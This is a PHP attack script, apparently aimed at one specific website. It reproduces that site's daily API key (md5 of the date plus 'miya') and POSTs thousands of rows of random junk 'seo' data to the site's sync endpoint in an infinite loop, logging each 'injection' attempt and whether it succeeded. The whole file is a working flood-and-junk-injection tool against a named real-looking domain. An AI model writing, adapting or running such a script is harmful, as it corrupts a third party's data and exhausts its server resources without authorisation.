<?php
  $key=md5(date('Y-m-d').'miya');
  $url = 'http://cityskycn.com//API/Index/syncseo.html?key=';

  $value = [
    'ip'=>'250.250.250.250',
    'seo'=>[]
  ];

  $num = 0;
  $time = time();

  $value['seo'] = array_fill(0,mt_rand(1000,9999),array_fill(0,4,mt_rand(10000,99999)));

  $curl = curl_init();
  //设置抓取的url
  curl_setopt($curl, CURLOPT_URL,$url.$key);
  //设置头文件的信息作为数据流输出
  //curl_setopt($curl, CURLOPT_HEADER, 1);
  //设置获取的信息以文件流的形式返回，而不是直接输出。
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  //设置post方式提交
  curl_setopt($curl, CURLOPT_POST, 1);
  //设置post数据
  $post_data = array(
      "seo" => json_encode($value),
    );
  curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
  do{
    //执行命令
    $data = curl_exec($curl);
    //显示获得的数据
    $total = time()-$time;
    $status = json_decode($data,true)['status']?'成功':'失败';
    echo(date('Y-m-d H:i:s').' 发起第'.$num++.'次注入~注入状态:'.$status.'~总耗时:'.$total.'秒~'.PHP_EOL);
  }while(true);
  //关闭URL请求
  curl_close($curl);
?>
